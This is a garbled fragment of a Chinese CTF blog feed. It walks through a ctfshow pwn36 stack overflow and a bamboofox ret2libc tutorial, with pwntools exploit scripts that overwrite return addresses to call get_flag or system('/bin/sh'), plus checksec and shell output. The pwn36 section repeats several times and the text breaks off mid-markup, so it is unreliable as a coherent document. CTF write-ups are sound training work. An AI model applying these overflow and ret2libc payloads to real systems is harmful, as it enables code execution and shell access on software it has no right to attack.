bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-8"><a href="#pwn36-8" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-9"><a href="#pwn36-9" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-10"><a href="#pwn36-10" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting local process &#x27;./pwn&#x27;: pid 872</span><br><span class="line">[*] &#x27;/CTFshow_pwn/pwn&#x27;</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor functions here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;pwn35&quot;&gt;&lt;a href=&quot;#pwn35&quot; class=&quot;headerlink&quot; title=&quot;pwn35&quot;&gt;&lt;/a&gt;pwn35&lt;/h2&gt;&lt;figure class=&quot;highlight text&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;p</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="4-栈溢出" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/4-%E6%A0%88%E6%BA%A2%E5%87%BA/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>3-ret2syscall</title>
    <link href="https://rhea006.github.io/2025/07/af208b7d2db8.html"/>
    <id>https://rhea006.github.io/2025/07/af208b7d2db8.html</id>
    <published>2025-07-10T09:00:00.000Z</published>
    <updated>2025-08-27T06:22:17.160Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ret2libc"><a href="#ret2libc" class="headerlink" title="ret2libc"></a>ret2libc</h1><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下，我们会选择执行 system(“&#x2F;bin&#x2F;sh”)，故而此时我们需要知道 system 函数的地址。</p><h2 id="例1"><a href="#例1" class="headerlink" title="例1"></a>例1</h2><p>这里我们以 bamboofox 中 ret2libc1 为例。</p><blockquote><p>点击下载: <a href="../../../../../../../challenges/ret2libc1">ret2libc1</a></p></blockquote><p>首先，我们检查一下程序的安全保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x ret2libc1</span><br><span class="line">$ checksec ret2libc1</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>源程序为 32 位，开启了 NX 保护。下面对程序进行反编译以确定漏洞位置：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+1Ch] [ebp-64h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;RET2LIBC &gt;_&lt;&quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到在执行 gets 函数的时候出现了栈溢出。此外，利用 ropgadget，我们可以查看是否有 &#x2F;bin&#x2F;sh 存在：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2libc1  --string <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br><span class="line">0x08048720 : /bin/sh</span><br></pre></td></tr></table></figure><p>确实存在，再次查找一下是否有 system 函数存在。经在 ida 中查找，确实也存在。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p</span><br><span class="line">.rodata:08048720 aBinSh          db &#x27;/bin/sh&#x27;,0          ; DATA XREF: .data:shell↓o</span><br></pre></td></tr></table></figure><p>那么，我们直接返回该处，即执行 system 函数。相应的 payload 如下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">sh = process(<span class="string">&#x27;./ret2libc1&#x27;</span>)</span><br><span class="line">binsh_addr = <span class="number">0x8048720</span></span><br><span class="line">system_plt = <span class="number">0x08048460</span></span><br><span class="line">payload = flat([<span class="string">b&#x27;a&#x27;</span> * <span class="number">112</span>, system_plt, <span class="string">b&#x27;b&#x27;</span> * <span class="number">4</span>, binsh_addr])</span><br><span class="line">sh.sendline(payload)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./ret2libc1&#x27;</span>: pid 406</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">RET2LIBC &gt;_&lt;</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag </span><br></pre></td></tr></table></figure><p>这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，这里以 <code>&#39;bbbb&#39;</code> 作为虚假的地址，其后参数对应的参数内容。</p><p>这个例子相对来说简单，同时提供了 system 地址与 &#x2F;bin&#x2F;sh 的地址，但是大多数程序并不会有这么好的情况。</p><h2 id="例-2"><a href="#例-2" class="headerlink" title="例 2"></a>例 2</h2><p>这里以 bamboofox 中的 ret2libc2 为例 。</p><blockquote><p>点击下载: <a href="../../../../../../../challenges/ret2libc2">ret2libc2</a></p></blockquote><p>该题目与例 1 基本一致，只不过不再出现 &#x2F;bin&#x2F;sh 字符串，所以此次需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，第二个控制程序执行 system(“&#x2F;bin&#x2F;sh”)。由于漏洞与上述一致，这里就不在多说，具体的 exp 如下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x ret2libc2</span><br><span class="line">$ checksec ret2libc2</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br><span 